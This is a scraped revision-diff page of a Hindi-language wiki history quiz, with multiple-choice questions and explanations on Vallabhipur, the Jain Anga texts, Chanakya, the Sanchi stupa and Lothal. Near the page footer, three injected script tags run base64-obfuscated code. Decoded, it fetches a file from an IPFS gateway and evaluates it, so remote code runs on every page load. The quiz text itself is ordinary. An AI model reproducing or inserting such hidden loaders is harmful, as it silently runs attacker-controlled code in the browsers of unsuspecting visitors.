"इतिहास सामान्य ज्ञान 60" के अवतरणों में अंतर

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-[[वैशाली]]
 
-[[वैशाली]]
 
||'वल्लभीपुर' या 'बल्लभीपुर' [[प्राचीन भारत]] का नगर, जो पाँचवीं से आठवीं शताब्दी तक [[मैत्रक वंश]] की राजधानी रहा था। यह [[पश्चिमी भारत]] के [[सौराष्ट्र]] में और बाद में [[गुजरात|गुजरात राज्य]] के [[भावनगर]] बंदरगाह के पश्चिमोत्तर में '[[खम्भात की खाड़ी]]' के मुहाने पर स्थित था। माना जाता है कि [[वल्लभीपुर]] की स्थापना लगभग 470 ई. में मैत्रक वंश के संस्थापक सेनापति भट्टारक ने की थी। वल्लभीपुर ज्ञान का महत्त्वपूर्ण केन्द्र था और यहाँ कई [[बौद्ध]] मठ भी थे। एक [[जैन]] परम्परा के अनुसार पाँचवीं या छठी शताब्दी में दूसरी जैन परिषद यहीं आयोजित की गई थी। इसी परिषद में जैन ग्रन्थों ने वर्तमान स्वरूप ग्रहण किया था। यह नगर अब लुप्त हो चुका है, लेकिन 'वल' नामक गाँव से इसकी पहचान की गई है, जहाँ मैत्रकों के [[ताँबा|ताँबे]] के [[अभिलेख]] और मुद्राएँ पाई गई हैं।{{point}}अधिक जानकारी के लिए देखें:-[[वल्लभीपुर]]
 
||'वल्लभीपुर' या 'बल्लभीपुर' [[प्राचीन भारत]] का नगर, जो पाँचवीं से आठवीं शताब्दी तक [[मैत्रक वंश]] की राजधानी रहा था। यह [[पश्चिमी भारत]] के [[सौराष्ट्र]] में और बाद में [[गुजरात|गुजरात राज्य]] के [[भावनगर]] बंदरगाह के पश्चिमोत्तर में '[[खम्भात की खाड़ी]]' के मुहाने पर स्थित था। माना जाता है कि [[वल्लभीपुर]] की स्थापना लगभग 470 ई. में मैत्रक वंश के संस्थापक सेनापति भट्टारक ने की थी। वल्लभीपुर ज्ञान का महत्त्वपूर्ण केन्द्र था और यहाँ कई [[बौद्ध]] मठ भी थे। एक [[जैन]] परम्परा के अनुसार पाँचवीं या छठी शताब्दी में दूसरी जैन परिषद यहीं आयोजित की गई थी। इसी परिषद में जैन ग्रन्थों ने वर्तमान स्वरूप ग्रहण किया था। यह नगर अब लुप्त हो चुका है, लेकिन 'वल' नामक गाँव से इसकी पहचान की गई है, जहाँ मैत्रकों के [[ताँबा|ताँबे]] के [[अभिलेख]] और मुद्राएँ पाई गई हैं।{{point}}अधिक जानकारी के लिए देखें:-[[वल्लभीपुर]]
 
{'अंग साहित्य' किस [[धर्म]] से सम्बन्धित है?
 
|type="()"}
 
-[[बौद्ध धर्म]]
 
+[[जैन धर्म]]
 
-[[वैष्णव धर्म]]
 
-[[हिन्दू धर्म]]
 
||[[चित्र:Gomateswara.jpg|right|80px|गोमतेश्वर की प्रतिमा, श्रवणबेलगोला]]'जैन धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन]] है। 'जैन' उन्हें कहते हैं, जो '[[जिन]]' के अनुयायी हों। [[जैन धर्म]] ग्रंथ पर आधारित धर्म नहीं है। [[भगवान महावीर]] ने सिर्फ़ प्रवचन ही दिए थे, उन्होंने किसी [[ग्रंथ]] की रचना नहीं की थी, लेकिन बाद में उनके गणधरों ने उनके अमृत वचन और प्रवचनों का संग्रह कर लिया था। यह संग्रह मूलत: [[प्राकृत भाषा]] में है, विशेष रूप से [[मागधी]] में। भगवान महावीर से पूर्व के [[जैन साहित्य|जैन धार्मिक साहित्य]] को महावीर के शिष्य गौतम ने संकलित किया था। [[जैन धर्म]] में 12 अंग ग्रंथ माने गए हैं- 'आचार', 'सूत्रकृत', 'स्थान', 'समवाय', 'भगवती', 'ज्ञाता धर्मकथा', 'उपासकदशा', 'अन्तकृतदशा', 'अनुत्तर उपपातिकदशा', 'प्रश्न-व्याकरण', 'विपाक' और 'दृष्टिवाद'। इनमें 11 अंग तो मिलते हैं, किंतु बारहवाँ दृष्टिवाद अंग नहीं मिलता।{{point}}अधिक जानकारी के लिए देखें:-[[जैन धर्म]]
 
 
{[[सिन्धु घाटी की सभ्यता|सिन्धु घाटी]] के लोगों द्वारा सबसे अधिक प्रयुक्त की जाने वाली [[धातु]] कौन-सी थी?
 
|type="()"}
 
-[[ताम्र]]
 
+[[काँसा|काँस्य]]
 
-[[स्वर्ण]] और [[चाँदी]]
 
-[[टिन]]
 
||[[चित्र:Lekhan-Samagri-1.jpg|right|100px|सिंधु सभ्यता की उत्कीर्ण मुद्रा ]]'काँसा' एक [[मिश्र धातु]] है, जो [[ताँबा|ताँबे]] और [[जस्ता|जस्ते]] अथवा [[ताँबा|ताँबे]] और [[टिन]] के योग से बनाई जाती है। [[काँसा]], ताँबे की अपेक्षा अधिक कड़ा होता है और कम [[ताप]] पर पिघलता है। इसलिए काँसा सुविधापूर्वक ढाला जा सकता है। आमतौर पर साधारण बोलचाल में कभी-कभी [[पीतल]] को भी काँसा कह दिया जाता है, जो ताँबे तथा जस्ते की मिश्र धातु है और [[पीला रंग|पीले रंग]] का होता है। पुराकालीन वस्तुओं में काँसे से निर्मित वस्तुएँ काफ़ी महत्त्वपूर्ण थीं। इसीलिए उस युग को "कांस्य युग" का नाम दिया गया था। काँसे को [[अंग्रेज़ी]] में 'ब्रोंज़' कहते हैं। यह [[फ़ारसी भाषा]] का मूल शब्द है। काँसा, जिसे [[संस्कृत]] में 'कांस्य' कहा जाता है, संस्कृत कोशों के अनुसार श्वेत ताँबे अथवा घंटा बनाने की [[धातु]] को कहते हैं।{{point}}अधिक जानकारी के लिए देखें:-[[काँसा|काँस्य]]
 
 
{किस [[ग्रंथ]] में [[चाणक्य]] की पत्नी का नाम 'यशोमती' मिलता है?
 
|type="()"}
 
-[[अर्थशास्त्र -कौटिल्य|अर्थशास्त्र]]
 
-[[मुद्राराक्षस]]
 
+[[बृहत्कथाकोश]]
 
-महापरिनिब्बानसुत
 
||[[चित्र:Chanakya.jpg|right|100px|चाणक्य]]'कौटिल्य', 'चाणक्य' एवं 'विष्णुगुप्त' नाम से भी प्रसिद्ध हैं। इनका व्यक्तिवाचक नाम 'विष्णुगुप्त', स्थानीय नाम '[[चाणक्य]]' (चाणक्यवासी) और गोत्र नाम 'कौटिल्य' (कुटिल से) था। ये [[चन्द्रगुप्त मौर्य]] के प्रधानमन्त्री थे। चाणक्य का नाम संभवत उनके गोत्र 'चणक', [[पिता]] के नाम 'चणक' अथवा स्थान के नाम 'चणक' का परिवर्तित रूप रहा होगा। चाणक्य नाम से प्रसिद्ध एक नीतिग्रन्थ '[[चाणक्यनीति]]' भी प्रचलित है। [[तक्षशिला]] की प्रसिद्धि महान अर्थशास्त्री चाणक्य के कारण भी है, जो यहाँ प्राध्यापक थे और जिन्होंने चन्द्रगुप्त के साथ मिलकर [[मौर्य साम्राज्य]] की नींव डाली थी। '[[बृहत्कथाकोश]]' के अनुसार चाणक्य की पत्नी का नाम 'यशोमती' था। 'मुद्राराक्षस' में कहा गया है कि [[धननन्द|राजा नन्द]] ने भरे दरबार में चाणक्य को उसके उस पद से हटा दिया, जो उसे दरबार में दिया गया था। इस पर चाणक्य ने शपथ ली कि- "वह उसके परिवार तथा वंश को निर्मूल करके नन्द से बदला लेगा।"{{point}}अधिक जानकारी के लिए देखें:-[[बृहत्कथाकोश]], [[चाणक्य]]
 
 
{[[साँची]] के [[स्तूप]] का निर्माण किस शासक ने करवाया था?
 
|type="()"}
 
-[[बिम्बिसार]]
 
-[[कनिष्क]]
 
-[[पुष्यमित्र शुंग]]
 
+[[अशोक]]
 
||[[चित्र:Ashokthegreat1.jpg|right|100px|संविधान की मूल सुलेखित प्रतिलिपि में प्रदर्शित अशोक के चित्र की प्रतिलिपि |]]'अशोक' अथवा 'असोक' [[प्राचीन भारत]] में [[मौर्य वंश]] का राजा था। उसके समय में [[मौर्य साम्राज्य]] उत्तर में [[हिन्दुकुश]] की श्रेणियों से लेकर दक्षिण में [[गोदावरी नदी]] तथा [[मैसूर]], [[कर्नाटक]] तक और पूर्व में [[बंगाल (आज़ादी से पूर्व)|बंगाल]] से पश्चिम में [[अफ़ग़ानिस्तान]] तक पहुँच गया था। यह उस समय तक का सबसे बड़ा भारतीय साम्राज्य था। [[सम्राट अशोक]] को अपने विस्तृत साम्राज्य के बेहतर कुशल प्रशासन तथा [[बौद्ध धर्म]] के प्रचार के लिए जाना जाता है। जीवन के उत्तरार्ध में अशोक [[गौतम बुद्ध]] का [[भक्त]] हो गया और उन्हीं की स्मृति में उसने एक स्तम्भ खड़ा कर दिया, जो आज भी [[नेपाल]] में उनके जन्मस्थल [[लुम्बिनी]] में 'मायादेवी मन्दिर' के पास अशोक स्‍तम्‍भ के रूप में देखा जा सकता है। अशोक ने बौद्ध धर्म का प्रचार [[भारत]] के अलावा [[श्रीलंका]], [[अफ़ग़ानिस्तान]], [[मिस्र]] तथा [[यूनान]] में भी करवाया।{{point}}अधिक जानकारी के लिए देखें:-[[अशोक]]
 
 
{[[सैन्धव सभ्यता]] का प्रमुख बन्दरगाह एवं व्यापारिक केन्द्र कौन सा था?
 
|type="()"}
 
-[[हड़प्पा]]
 
+[[लोथल]]
 
-[[कालीबंगा]]
 
-[[रंगपुर (गुजरात)|रंगपुर]]
 
||[[चित्र:Lothal-1.jpg|right|100px|लोथल के पुरातत्त्व स्थल]]'लोथल' [[गुजरात]] के [[अहमदाबाद ज़िला|अहमदाबाद ज़िले]] में 'भोगावा नदी' के किनारे 'सरगवाला' नामक ग्राम के समीप स्थित है। इस स्थल की खुदाई [[1954]]-[[1955]] ई. में 'रंगनाथ राव' के नेतृत्व में की गई थी। इस स्थल से समकालीन सभ्यता के पांच स्तर पाए गए हैं। यहाँ की सर्वाधिक प्रसिद्ध उपलब्धि हड़प्पा कालीन बन्दरगाह के अतिरिक्त विशिष्ट मृद्भांड, उपकरण, मुहरें, बांट तथा माप एवं पाषाण उपकरण है। [[लोथल]] से तीन युग्मित समाधि के भी उदाहरण मिले हैं। बन्दरगाह लोथल की महत्त्वपूर्ण उपलब्धियों में से एक है। इस बन्दरगाह पर [[मिस्र]] तथा [[मेसोपोटामिया]] से जहाज़ आते जाते थे। इसका औसत आकार 214x36 मीटर एवं गहराई 3.3 मीटर है। इसके उत्तर में 12 मीटर चौड़ा एक प्रवेश द्वार निर्मित था, जिससे होकर जहाज़ आते-जाते थे।{{point}}अधिक जानकारी के लिए देखें:-[[लोथल]]
 
 
</quiz>
 
</quiz>
 
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13:36, 21 अगस्त 2016 का अवतरण

सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान


इस विषय से संबंधित लेख पढ़ें:- इतिहास प्रांगण, इतिहास कोश, ऐतिहासिक स्थान कोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

2 गुप्तकालीन प्रशासन में नगर के मुख्य अधिकारी को क्या कहा जाता था?

भोक्ता
नगरश्रेष्ठि
पुरपाल
गौल्मिक

3 निम्न में से किस क्रांतिकारी ने 'राणा प्रताप', 'सम्राट चन्द्रगुप्त' और 'भारत दुर्दशा' नामक नाटकों में अभिनय किया था?

भगत सिंह
सुभाष चन्द्र बोस
करतार सिंह सराभा
रामप्रसाद बिस्मिल

4 कुषाण शासक कनिष्क के निर्माण कार्यों का निरीक्षक अभियन्ता अधिकारी कौन था?

अग्रमस
विम तक्षम
अगेसिलोस
मोअस

5 इतिहास में दूसरी जैन सभा कहाँ पर आयोजित हुई थी?

वल्लभीपुर
पाटलिपुत्र
कश्मीर
वैशाली

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सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान


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